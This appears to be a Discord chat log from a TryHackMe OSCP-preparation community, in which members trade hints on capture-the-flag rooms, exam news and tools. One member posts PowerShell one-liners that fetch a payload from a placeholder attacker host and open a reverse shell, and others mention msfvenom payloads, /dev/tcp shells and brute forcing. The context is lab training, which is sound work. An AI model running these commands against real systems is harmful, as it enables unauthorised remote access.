i guess i made a poor assumption there

i've been sitting here for an hour trying to find privesc vulns in that version of the backend ...

[chrome valve]

Hehe - nah, not at all. To be fair, the complexity of that password makes it unlikely that it's been reused. You can't be faulted for not jumping to that conclusion. I think that's an issue that's already been raised with the admins

[wispy jacinth]

actually, wait, that's not true. i did try to ssh in as root with that pass and it didn't work

[chrome valve]

Yeah, it's not the root pass

[fleet wedge]

try it other places

Its better to enumerate with width before going down rabbit holes

[chrome valve]

If it's any consolation (and this is testament to exactly how tired I am) -- not only did I not save one of the screenshots I took, I subconsciously got around the hole in my numbered image sequence by saving the next one twice...

[wispy jacinth]

dangit, well, i suppose this could be somewhat realisic

there's definitely a lesson here for me

[real sandal]

77.5 with 8 hours to go

[chrome valve]

@wispy jacinth I'm assuming you'll be fine from here, but this is a link to the write-up should you need it: https://muirlandoracle.co.uk/2020/02/08/daily-bugle-write-up/

[wispy jacinth]

i just finished escalating to root, woohoo

@chrome valve writeup looks good and mostly what I did. i didn't know quite what table to use with sqlmap, so i had more steps in there trying to determine that

also had issue with the gtfobins like you wrote about

[chrome valve]

Good to know it wasn't just me having annoyances with that privesc. It's easy enough to do -- just can't be automated for some reason.

[wispy jacinth]

i found a helpful medium article that walked through installing fpm and using that to build a reverse shell using /dev/tcp/ip/port --> rpm

[chrome valve]

Yeah, I looked at that on gtfobins and basically decided it was too much work 😄

[wispy jacinth]

thank you for the guidance and the good writeup

[chrome valve]

No problem, and thanks!

[wispy jacinth]

tfw the description says to attempt the daily bugle in an hour but I took a week...

[chrome valve]

All good practice though!

[real sandal]

Exam done… but I’m too caffeinated to fall asleep and too lazy to polish my report 🤷

[dense gale]

@chrome valve great write up bro! I learnt a new tool from that CMSeek which is cool, I used joomscan, well, first of all I tried to manually find the version, which I did. Then j used joomscan but I like a all in one CMSeek offers.

Also how did you get gtfobins in a terminal like that I have always got it up in a browser! Haha

[keen iris]

@chrome valve ayy you got your writeup out, nice!

[chrome valve]

@keen iris Took me until 4AM, then another hour and a half to get the VM finished to include that new vulnerability, but so worth it!

@dense gale Thanks! I do like CMSeeK
Getting gtfobins into the terminal is actually a tool from our very own @autumn nova, so full credit to him for that. It's in his github, here: https://github.com/mzfr/gtfo

[dense gale]

Awesome man thank you so much!!

[real sandal]

Wish I knew about that yesterday 😅

[chrome valve]

@real sandal The exploit, the Write-up, or the terminal gfobins? 😄

[real sandal]

Terminal gtfobins/lolbas

I already had too many browser tabs open

[chrome valve]

Hehe -- it's a great tool

[deft gale]

Hi all
I get a very unstable shell when I replace the ASCService.exe for Advanced System. Care service
It is on the Steel Mountain room

[frail vine]

You need to spawn a new shell

So when the shell loads have another shell prepped to fire

You can see that isn’t he wrote up I did I think

Hmmm

I can’t find my write up lol

Maybe I have another to publish 😱😂😂😂

[autumn nova]

@real sandal @chrome valve planning to add the option to search exploit-db in that tool

Even though there already exists searchsploit

But might be helpful to just have one tool for all of that

[real sandal]

Hmm the issue for me is that searchsploit is very much in my muscle memory at this point, unless there was an alternative that improved the annoying parts of searchsploit

ie: be able to download files by referencing the number in the result list, like Metasploit, instead of having to copy the EDB path

[final vault]

You could always set yourself a challenge to make a script that does that using awk or something

[chrome valve]

That could be cool @autumn nova! Would that be using the searchsploit local files or just doing it online? Could be useful if it could tell us if we already have the file downloaded locally.

[autumn nova]

Well searchsploit have like whole db so it just search locally

Mine might just keep a copy of the CSV fils that have the record of vulns and with that it would give the URL to the exploit

But yeah adding a download option won't be hard

[chrome valve]

Yeah, exactly!
Out of curiosity, would you be able to search the remote one, but also check if the file already exists locally in the searchsploit db?

[final vault]

Core concept would be easy to do local searches. However, it wouldn’t be too difficult to provide remote searches

[chrome valve]

Should definitely be possibly, just in terms of how @autumn nova wanted it to operate.

[deft gale]

Hi All, for the Alfred box, the meterpreter shell is uploaded to the host for the shell upgrade. But the Start-Process "shell.exe" does not pop me a shell in the msfconsole handler. Tried to listen on netcat as well, no luck. Can someone please help me out 😳

[burnt walrus]

hmm im stuck there too

anyone around to give me a nudge on that

[honest jackal]

hello all i am looking for a binary exploit for this issue MS16-032

can anyone help me

?

[true quiver]

Anyone around to discuss hackpark?

The priv esc mainly

@deft gale @burnt walrus dm if ur still stuck on that part

[burnt walrus]

@true quiver your everywhere

[true quiver]

my goal is world domination

[orchid jasper]

anyone can help me with hackpark?

[pastel sky]

Anyone that finished brainstorm able to chat?

[grim pendant]

can you just ask your questions?

🙂

100% okay to share knowledge and help eachother in this discord

do not be afraid to not ask questions!

to*

[pastel sky]

I’ll try. I’ve been using wine and ollydbg combo to reverse engineer the .exe on my kali box. I’m able to overflow the buffer and have control over eip. The room seems to hint that the .exe was compiled with ASLR and DEP protections but when I try to confirm by running the binary through a few tools, all say that aslr and dep are not set.

Is there a standard way to confirm this on a Linux os?

The reason I’m trying to check is that I have set up my payload to include a nop sled and shell code trying to see if I can execute the shell code right on the stack. When I run this through the debugger, the nop sled, shell code, and eip overwrite get set up correctly but when the _Overflow function returns (with the overwritten eip) the stack section that had my shell code gets overwritten with a bunch of \x00s which makes no sense to me

[limber cypress]

have got root.txt on hackpark but have a question on whether it was the intended way if anyone is about

[burnt walrus]

anyone around?

this is the problem Im facing in hackpark

can anyone give me a solution

[burnt walrus]

ok no need got it

[inland osprey]

is there a stability issue on Hackpark? the server keeps down and up

[frail vine]

on hackpark i think i ended up using a c2 😉

but i think you can get round that by using the full path on the outpath paramater

[frail vine]

gang apologies i haz 2 moar writeups i didn't post

hackpack and the mr robot one

i need to edit them and write them into blogs not just notes so they won't be out this week

[thin walrus]

on hackpark i think i ended up using a c2 😉
@frail vine what c2 you mean

[frail vine]

i might have used covenant C2 or POSH c2

[thin walrus]

For post exploitation?

You gota make a short video for covenant c2 introduction many people dont know

[frail vine]

yeah ok

empire 3.1 is ok as well 🙂

sometimes u need a tool that is proxy aware

metasploit shells aren't proxy aware

so u can't use them in non routed/adjacent network positions

[real sandal]

PWK got updated https://www.offensive-security.com/pwk-oscp/

[alpine peak]

Working on machines for the updated syllabus

[sonic loom]

OSCP course + lab updated !

Finally some Active DIrectory!

[sly cradle]

yep sadly it takes up to 3 business days to get the content.... So bought the upgrade but have not gotten it yet

oof looks like its 5 days for people buying now

[sacred barn]

Looks like there's a lot of excitement about the new PWK. There's a lot of really cool stuff on the syllabus :)

[worldly egret]

Guys i need your suggestion planning to buy subscription for tryhackme and start oscp path how is the course content in tryhackme

[bronze zenith]

yeah, that's a good idea! My advice would be to complete couple free rooms beforehand (for example RP: Nmap and Metasploit) so you have a basis for your studies. But all in all, the path is structured in a way that you start from step-by-step walkthroughs and end up with OSCP like rooms

[sacred barn]

I'm definitely going to subscribe soon as i have time in the next few weeks. I've been reading up a lot about the changes to pwk and there's a lot of new and cool stuff in it. I think we'll need a few new rooms but from whatI hear most of the previous stuff can still get you a viable pass, however a lot of fun new opportunities have just opened up and i think a lot of people will get a kick out of the new tactics

[real sandal]

We are happy to inform you that you have successfully completed the Penetration Testing with Kali Linux certification exam and have obtained your Offensive Security Certified Professional (OSCP) certification.
Finally 😅

[toxic temple]

gz 🎊

[red olive]

@real sandal Congrats !! You pass the New version ?

[toxic temple]

I mean

Technically the exam is the same iirc

[red olive]

If we already have the cert/course did they update our content?

[real sandal]

Yeah exam hasn’t changed

You have to pay to get new content whether you’re a student or passed

[crimson flame]

Exam is the same, just additional content.

[red olive]

Yeah but the course changed, that what i would Say sry

That sucks, like the AWAE, they said they will update and give free exam for those who take it on conf but they didnt

[crimson flame]

on conf?

[red olive]

Yeah at Defcon etc

Sry my autocorrection sucks

[fleet wedge]

Does the OsCp path comes with a badge or something to show off on a resume 🥴🥴🥴

??

[maiden aurora]

@fleet wedge Completing the path won't really get you anyway, it's meant as preparation for the actual exam, have a look at: https://cybersecurity.att.com/blogs/security-essentials/how-to-prepare-to-take-the-oscp

[dense gale]

Anyone here have the new course material?

the updated PDF?

[sacred barn]

@dense gale very few people going to spend a small fortune on that cert or the updated docs and risk their certifications and careers for that. All the pdfs and vids are watermarked with the individual's info.

[dense gale]

just wanted to know how different it was compared to old stuff

i have oscp pdf and its like 360+ pages and wondered if new one has loads more init

one of the guys i work with is doing it soon and he wondered

[real sandal]

It's taking 5 days now for people to get the course material so don't think anyone has received the new stuff yet

[dense gale]

oh right they still doing the whole "start days are sundays" etc

[real sandal]

I think it's more that they're swamped now. It was supposed to only take 3 days but I know people that ordered the upgrade on Tuesday and then OS replies "Ok wait 4-5 days for the materials"

[sacred barn]

A friend of mine paid for the upgrade. It's 850 pages. Content is similar, more beginner friendly approach (they want to encourage more people to jump in sooner) videos/workbook have both had a visual makeover. Lots of stuff on Windows, good if you're unfamiliar.

[real sandal]

That's good. Yeah given the length people were afraid it would take them longer to get into the labs now, but as long as they encourage them to start playing with it while following along in the PDF

[dense gale]

ahhhh thats huge!

im glad they're encouraging people new to pentetsing in to it, i reckon they've done it to stop people diverting off to courses like elearnsecurity

anyone done any of the Elearnsecurity stuff?

[fleet wedge]

@maiden aurora okay thanks

Seen the link before tho.

[sacred barn]

You can see from the official syllabus they push lots of beginner Linux stuff and all that, stuff you should probably have already covered through kali.training or other resources before they dump you into the fun stuff.

[trim vapor]

Anyone to assist with kenobi mount command...?

[real sandal]

@trim vapor sure, DM me

[strong jetty]

Can someone help me on the HackPark box. I at the Hydra part and I'm pretty sure what I have is correct, However I am getting multiple results back. I taken a look at the write up and tried to compare what I have which looks identical.

[frail vine]

if u r brute forcing http it can be a good idea to push the packets through a proxy such as BURP

that way you can inspect the request and response

[spring goblet]

If anybody is looking at working on hackpark together let me know, I am hitting a wall on the hydra command

[real sandal]

FYI it seems OffSec added a new rule that you can't use screen recorders (like OBS) during the exam https://www.offensive-security.com/faq/#screen-recording

[rustic walrus]

Does anyone knows about nagios unauthenticated rce?

[strong jetty]

Did anyone else had a problem on Alfred with the last step of switching shells ? Having a problem executing my exe payload and not sure why.

[frail vine]

sorry i didn't get the blogs posted

had irl stuff to deal with

will try get them out this week

[grim pendant]

@frail vine whats your blog link? looking to add some more blogs to my rss 🙂

nvm think i found it

[hidden rivet]

@strong jetty did you figure out Alfred? I had issues as well originally

[frail vine]

@grim pendant https://www.pwndefend.com

[frail vine]

@strong jetty my blog goes into this i think

[strong jetty]

No could not get the last bit working. Thanks UK_daniel_card I had look at you blog and may just follow your steps. As far as I can tell everything I am doing is correct don't get any errors from the console so not sure.

[burnt walrus]

@rustic walrus we dont have have nagios. do we?

[sacred barn]

OffSec posted a new FAQ for PWK/OSCP :)

https://www.offensive-security.com/offsec/pwk-oscp-faq/

[burnt walrus]

its official I have pressed the super panic button. exam on 28th

[strong jetty]

Has anyone done HackPark the intended way ? The write up uses another method but Im trying the intended way and its not working as expected.

[rustic walrus]

@burnt walrus we have nagios login panel, I was looking for some exploit, so found that there's an rce. But it was updated one and later I got to know that it was a rabbit hole 😂

[burnt walrus]

Lol

We all fall in to rabbit holes

Should write a guide. Rabbit holes survival for 24 hours

[burnt walrus]

anyone around have a question

[bronze zenith]

just ask the question

[burnt walrus]

I have tried this method in hackpark. but doesn't work. tried running as Administrator giving password still didnt work. thnx for the help

https://www.exploit-db.com/exploits/45072

[honest jackal]

Hello all! I see that the brainpan room has been made private. I already rooted it on my private labs but is that normal ?

[sonic loom]

Anyone did vulnversity?

[fathom rapids]

i m doind first burpsuit module but there s a difference on what I d see and what I really see on my burp

so I can t complete the module

someone can help me?

[pliant solstice]

has anyone done hackpark the proper way?

[strong jetty]

@burnt walrus - This is the method I was trying but I could not get it working.

[burnt walrus]

Yea I haven't seen anyone who has done it

So no one has actually done it that way I guess

Feels like I wasted so much time

[strong jetty]

I dont' think so but that's is the intended way as far as I am aware.

[burnt walrus]

Yea well couldn't get in.

[thorn patio]

Hey hi @burnt walrus

[burnt walrus]

yo

[fathom rapids]

why when I use manual proxy I m not able to access any website?

[chrome valve]

What kind of proxy @fathom rapids?

[fathom rapids]

@chrome valve I followed the guide, so I set manual proxy with ip 127.0.0.1 (loopback) and port 8080. after this the proxy refuses the connection. so I can t complete the task.

[chrome valve]

This will be a burp proxy then? For Burpsuite?

[fathom rapids]

yes

[chrome valve]

Ok, is Burpsuite open?

[fathom rapids]

yes

ooops, the proxy refuses connections cause burp is intercepting it?

[chrome valve]

Kinda. If Burpsuite is open and your intercept is on then you won't be able to access any websites without manually forwarding the requests through Burp

If Burpsuite is closed and your proxy is on then it just won't work at all

[fathom rapids]

oook I got it, thank you so much. oh, last question. when I try to navigate to DVWA site as the task requires, burp intercepts and shows security=impossibile, when into the task is shown security=low

do you know why or can I just go on?

[chrome valve]

Hmm, can you show a screenshot?

[fathom rapids]

sure, thank you so much

[chrome valve]

@fathom rapids apologies -- got sucked into a piece of pseudocode 😓

You should be able to just ignore that 😄

Let us know if it causes any problems though

[burnt walrus]

so no one really did hackpark intended way?

[hasty sentinel]

can anyone DM me about why the hackpark intended way isn't working?

and how they did it?

[burnt walrus]

@hasty sentinel if you find out let us know about it too

[hasty sentinel]

I'll test it today/Tomorrow and confirm to you all if it works :)

[burnt walrus]

alright best of luck i tested it and didnt work

[fathom rapids]

@chrome valve intruder attack doesnt work .-.

sniper*

[chrome valve]

Hmm. What are you trying to do with it?

[fathom rapids]

sorry for the stupid question, sniper attacks has to test every single word in wordlist or it should stop when it finds the right one?ù

[chrome valve]

Hmm. Good question actually. My instinct says that it will keep trying, but don't quote me on that.
I'll do some tests later

[fathom rapids]

i m testing just now, I thought it had to stop, i m letting try all words now. I ll tell you after finish. thanks

btw, the right one is "password" and it is going on. so the things are 2: or my attack is not working or it has to test all

[pliant solstice]

the workaround for hackpark doesnt even work for me

[burnt walrus]

bruteforce works

[pliant solstice]

what?

im talking about the cve privesc

[burnt walrus]

yea sorry that doesnt work

maybe the one who made that box is the only one who did that the intended way

[pliant solstice]

yea the only problem i have when i do it the intended way is that the service isnt getting called again like its supposed to

[burnt walrus]

yea same here

[pliant solstice]

damn

guess its just messed up

[burnt walrus]

someone need to fix that box or just give a straight guide how it is done

[pliant solstice]

yep

[burnt walrus]

even the next box is like that

steel mountain

anyone who did the intended way

cause the root shell is dying

[pliant solstice]

i havent done that one yet

[burnt walrus]

im doing that one

[fathom rapids]

sorry what is the score rule?ù

[burnt walrus]

dont wanna think about it

[fathom rapids]

@burnt walrus sure i was just curious. i have so few time to think about it

[fathom rapids]

can someone gives me some hint for snipeR?

I test the php extension list and all have response 200, so all should be ok. and i can assume that all extensions are admitted right?

[robust loom]

@fathom rapids change the payload to include the "." (example: .php), check the Status and Length response

[burnt walrus]

@hasty sentinel got it?

[hasty sentinel]

sorry for the delay - been on a bunch of flights

will get back to you later today :))

[burnt walrus]

ok

[hasty sentinel]

what issues are you all getting with HackPark

I managed to get it working the intended way

[burnt walrus]

weird the last part

WScheduler.exe

[hasty sentinel]

actually wait lool

[burnt walrus]

ok

[hasty sentinel]

@burnt walrus seen the issue :))

we'll look into getting it resolved

[burnt walrus]

oh and also blue steel

even that one Im facing issues

in the priv part

sorry steel mountain

thnx

[fathom rapids]

@robust loom yeah I tried yet, all status responses are 200, so they would be right. lenght 737. I can t understand where i m doing wrong. stuck on that for 1 entire day

can you help me?

here there s a screenshot

[robust loom]

don't got the notes right here but recognize it as I hade the same issue

let me check it out

[fathom rapids]

thanks so much

btw I removed the "." before extension cause with the dot I see this request:
Content-Disposition: form-data; name="file"; filename="shell%2ephp"

in any case it gives me response 200 .-.

[robust loom]

and you "tagged" the ".ext"?

which box is this?

the name

found the box

@fathom rapids uncheck the Payload Encoding option in the Payloads tab

[fathom rapids]

oh thanks, unchecking the encoding option it appears in the right way. btw all extensions give me response 200,

so I m missing something probably

did you receive other responses?

[robust loom]

Check the Length value, but yeah the status code is the same for all

[fathom rapids]

length is the same for all, but if the status code is the same for all how can I know which extension is allowed and which not?

[robust loom]

verify your payload marker and payload list

[fathom rapids]

ok analyzing all headers I see the only that has content-length different is .phtml. so I guess it s the right one. btw if we have a long payload list this process could be very time-wasting

[robust loom]

only if you don't have pro version

[fathom rapids]

and in oscp exam we can t use pro version

[robust loom]

the community edition is limited by throttling the speed

true, so my guessing is that you would not need a lengthy list

[fathom rapids]

btw @robust loom thank you and sorry if I waste your time today

[robust loom]

np mate, glad to be of service 😉

we are all here to learn

[fathom rapids]

thank you again 🙂

[wraith echo]

can somebody help me with HackPark?

I can't get reverse shell if I wanted to

ps1 download, exe download, exe over samba...

I mean upgrading from standard netcat one to metasploit

[fathom rapids]

@robust loom sorry man i m stuck again on the same box on priv esc

[robust loom]

@wraith echo try to take advantage of msfvenom to create a reverse shell executable

hey dark

[wraith echo]

@robust loom all of those above are msfvenom ones

I even tried unicorn to generate one

payload downloads/executes, just reverse connection does not come back

[robust loom]

you can use ps to download files

[wraith echo]

@robust loom i did it...

I used:

IEX DownloadString

[robust loom]

or just invoke a reverse shell

[wraith echo]

Invoke Web Request

samva \

samba*

[robust loom]

powershell "(New-Object System.Net.Webclient).Downloadfile('http://your-ip:your-port/rshell.exe','rshell.exe')"

• Reverse shell (on your machine)
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port```

from a shell that is

[wraith echo]

I even tried to replicate writeup, no result

I will try your way

[robust loom]

use msfvenom to create am reverse shell executable and then trigger that

[wraith echo]

@robust loom please read carefully what i wrote

[robust loom]

you need to find the correct payload

[wraith echo]

I did that

I have used msfvenom

[robust loom]

which payload?

[wraith echo]

I even have correct payload, because I tried to replicate writeup (after 6 own tries)

hum?

[robust loom]

so instead of using a netcat listener, you could use metasploit (yeah I know we want not to be dependent on it) to catch the reverse shell call and then migrate to meterpreter from there

sometimes boxes gets f-up due to multiple people may pwn them

[wraith echo]

I restarted it X times, I don't think its that

[robust loom]

dm me and I'll try to step you through it

or hint if that is what you want

[fathom rapids]

any hint on priv esc ofr vulnuniversity?

[robust loom]

@fathom rapids enumerate enumerate enumerate 😉

[fathom rapids]

i want to follow his path, so i want to escalate by /bin/systemctl

[robust loom]

find the processes that sticks out and learn how to use the command

[chrome valve]

@fathom rapids https://gtfobins.github.io

[robust loom]

gtfobins is a gem 🙂

[chrome valve]

Have you seen the terminal app for it @robust loom?
Best thing ever invented 😁

[robust loom]

yeah saw it for not so long time, just not tested it yet

[chrome valve]

Fully recommend

[robust loom]

but bookmarked it as fast I could 😛

I guess it makes some noise if you want to be as quiet as possible?

[chrome valve]

It literally just searches the gtfobins database. Shouldn't matter how noisy you are.
Unless we're on about different apps here 😄

[fathom rapids]

this gtfobins is useful for priv esc in my case?

[robust loom]

na just if it makes a lot of traffic and you can't afford to be "caught", some CTFs are that way

[chrome valve]

Honestly, I would imagine that it's probably less noisy than just searching the website for the exploit in your browser

Yes, @fathom rapids

[robust loom]

@fathom rapids find any suid/sudo binaries and check it out

[fathom rapids]

i found them yet, but after that I don t know hot to proceed

I don t want the soluction to be clear

[robust loom]

if you're on windows then LOLBAS is the alternative

@chrome valve nice

@fathom rapids search for the binary at gtfobins site and try out the suggestion(s)

you'll learn more from that then anyone tell you how to do it, promise

[fathom rapids]

i ll check it, thank you so much again

[robust loom]

you learn by try, fail, try-again (x times) and succeed

[chrome valve]

Just for the record as well, I have it on good authority that the privesc on this box is purposefully chosen because it's sketchy. It was the creator's way of testing to see if beginners had the determination to not give up and just keep trying slightly different things until something works.
In other words: don't give up, you'll get it eventually!

[robust loom]

the important part after each box is to reflect, what, why and outcome...and can it be used again... build up your methodology and replay

[chrome valve]

^^ and write everything down, then condense notes later. Eventually you'll have a massive notebook full of useful information

[robust loom]

yeah always note down what you see/find even if you don't think it matter, you can always cleanup later 🙂

one thing I've learned is, time manage your rabbit holes, of you don't find anything after like 30min then go through your notes, enum some more and try again

the only thing I'm having difficult in is the overthinking, the magic is KISS (keep it simple stupid)

[robust loom]

...
anyone know how to change the ip after sqlmap has finished so I don't have to re-run after a "box" has changed ip?

[split geode]

flag2

[burnt walrus]

@wraith echo there is a problem in that box. they are checking it

[hasty sentinel]

for those who've had issues with HackPark, the public exploit wasn't supposed to work
the room was created so users utilise a variant of the public exploit (if that makes sense)
i've added a hint + extra question on the privesc section to make this clear

let me know if anyone has more issues 🙂

[queen bridge]

hi all, i'm in Alfred room, but i can't find root.txt find in folder "C:\Windows\System32\config". anyone please help me with this. thanks

[robust loom]

@queen bridge try searching for it dir /s *term*

[fathom rapids]

some hint on escalation of vulnuniversity

[chrome valve]

Were you not working on that yesterday @fathom rapids ?

[fathom rapids]

yeah but was night in italy and after one hour i stopped. i m working on it again from 3 hours now

[chrome valve]

Ah, fair enough 😄
Just in case I was mixing people up

DM me with what you've tried so far? I'll give you a nudge in the right direction

[fathom rapids]

going crazy on priv esc of vulnuniversity

[robust loom]

@fathom rapids DM if you need any help

[grave patio]

Did anybody have trouble with getting the proper OS version on vulnversity? I'm sitting here scratching my head, I dont usually have this problem 😂

Nevermind, I'm tired...I forgot to run EVERY type of scan and finally found the one that gave a more concise answer lol

[honest jackal]

If u want to get the version u can just run 'systeminfo' command

[dire jolt]

@chrome valve whats the name of this cli gtfobins program? Can u give a github link I couldnt find it xd

[chrome valve]

There you go @dire jolt:
https://github.com/mzfr/gtfo

[dire jolt]

ty 😄

[robust loom]

so been struggling to get initial sh on Daily Bungle, and when I finally got it the rest was too quick 😬

[robust loom]

now the pain starts, BOF

[robust loom]

Anyone done Brainstorm?, have a question regarding #2.

[grave patio]

I'm trying to do the last part of vulnversity and cant get the privesc to work properly. When I go to enable to $TF it says the job failed because the control process exited with an error code. But then when I try to look at the details of the error, it wont let me because I dont have the correct permissions. Can anybody help me out with this?

[chrome valve]

@grave patio DM me the exact code you used -- I'll give you a hand with it.

[mystic forge]

hey guys, would like to ask how is the OSCP path, is it good? thinking about subscription

[maiden aurora]

@mystic forge, in general or on THM?

[mystic forge]

general

@maiden aurora

i mean TryHackMe* sorry 😛

i know oscp is kinda hard but im already having some experience, just looking for something before HTB oscp-likes boxes

and some people on reddit recommended tryhackme and this specific path

just wondering if its good, and worth to pay $$ for sub

[maiden aurora]

Definitely worth the money if you are looking to get your OSCP cert

[chrome valve]

Definitely worth paying for the sub @mystic forge. The quality of boxes on TryHackMe tends to be really good, and the OSCP path is very popular. If you don't like it then it's less than a tenner for the month, and you would otherwise be spending a lot more.

Worth the shot at the very least

[mystic forge]

perfect, will order

do you know if I can add my debit card details, pucharse the 3 month sub and then delete my card details? I know its safe but I'm trying to avoid at any cost providiny my card details anywhere

[maiden aurora]

If you are looking to get a 3 month sub, you could use PayPal

[mystic forge]

perfect

will order and start learning right away

thanks guys!

[maiden aurora]

Vv welcome 🙂

[chrome valve]

Is that you just started Cherryblossom by the way @maiden aurora?

[maiden aurora]

Yeah, why?

[chrome valve]

Have fun 😁
I'm looking for ten roots before I release the write-ups. Do us a favour and give us another one.

[hidden rivet]

It's a lot of fun so far Muirland

[chrome valve]

Also, I've been considering adding more hints in, so any feedback there is much appreciated 🙂

That's great to hear @hidden rivet!

[hidden rivet]

@chrome valve Mind if I DM you a quick question regarding cherryblossom?

[chrome valve]

Sure - go for it 😄

[fathom rapids]

@chrome valve do you remember where flag2.txt is in Blue? I searched everywhere and just caught 1 and 3

[chrome valve]

See if you can find where Windows stores its SAM database @fathom rapids
The flag should be there

[fathom rapids]

@chrome valve thank you, btw how did you know that?

[chrome valve]

A) because I've done the box before, B) because it's in the hint to the question 🙂

[robust loom]

@fathom rapids use the dir command to search for files

[fathom rapids]

I found It After the suggest, btw i was sure i ve searched in config directory yet

[robust loom]

next time 😉 dir /s *term*

I'm so struggling with bof, are there now guides for bof on the site?

[crimson flame]

@robust loom if you have VIP i threw together a guided windows box w/ vulnserver on it

not sure what the room code is, but its called;
Intro to Windows BoF

[grave patio]

@mystic forge I'm doing the PwK right now and the oscp track on tryhackme is very nice when I want to take a break from it. They put the rooms together to break up the monatony of the amount of shit you have to learn in the PwK and its nicely guided. The oscp labs are completely open, no help.

[rigid gyro]

U talked me into it bro

g'morning

[robust loom]

@crimson flame thx mate, was on OSCP path, but had to break an started "Buffer Overflows"

@rigid gyro welcome mate

[rigid gyro]

o7 😉

[robust loom]

https://tenor.com/view/hack-the-planet-hack-scream-yell-shout-gif-4926397

@crimson flame by vip you mean subscription, right?

[grave patio]

Best way to upload a meterpreter shell payload once you already have a shell on a victim machine?

I'm starting to 2nd guess my thought process because I'm so tired, but just curious how people do this. Pretty sure there a few different ways

[robust loom]

@grave patio wget/curl?

or try to migrate

[grave patio]

@robust loom it's a windows server 2012 machine. So I guess I can use powershell to download wget from my attack machine and then use that to download my meterpreter payload but I was wondering if I'm overthinking it and maybe there is an easier way.

[robust loom]

yeah PS on windows. try the simple methods first if it's blocking outbound connection

if it's not

but instead of netcat listener your could use a metasploit listener instead

[grave patio]

@robust loom yeah. I think the easiest way would be to just setup a meterpreter listener and run the exploit again, but I was using this as a learning moment to make sure I knew how to transfer a file (new meterpreter shell) and run it from the victim machine. I'm gonna try the PS route and see if that works.

Sounds convoluted when I reread what I just said, but I think I'm making sense 😂

[robust loom]

that's the way to think :), try, fail, retry - LEARN

[robust loom]

@grave patio no need to download to download 😉 just download the payload using PSSo I guess I can use powershell to download wget from my attack machine and then use that to download my meterpreter payload

[grave patio]

@robust loom omg...derp. I took a break, ate some food. Now I'm feeling more awake, back to it haha thanks for adding that

[robust loom]

@crimson flame sorry, but can't find the room, is it removed?

found the banner through google

[crimson flame]

ask Skidy

[spark iron]

Hi there, let me have a look

https://tryhackme.com/room/windowsbof

The room should be open?

[desert bloom]

On the vulnversity room, when attempting the Intruder attack, shouldn't the sample wordlist drop the dot "." from the extension names? I couldn't get that attack to work until I did....if this has been brought up already then never mind 🙂

[rigid gyro]

would that not depend on if you selected the dot in the first place?

i didnt so i dont really know

[desert bloom]

oh I see what you mean now

I think that's what I did when selecting the extension..makes sense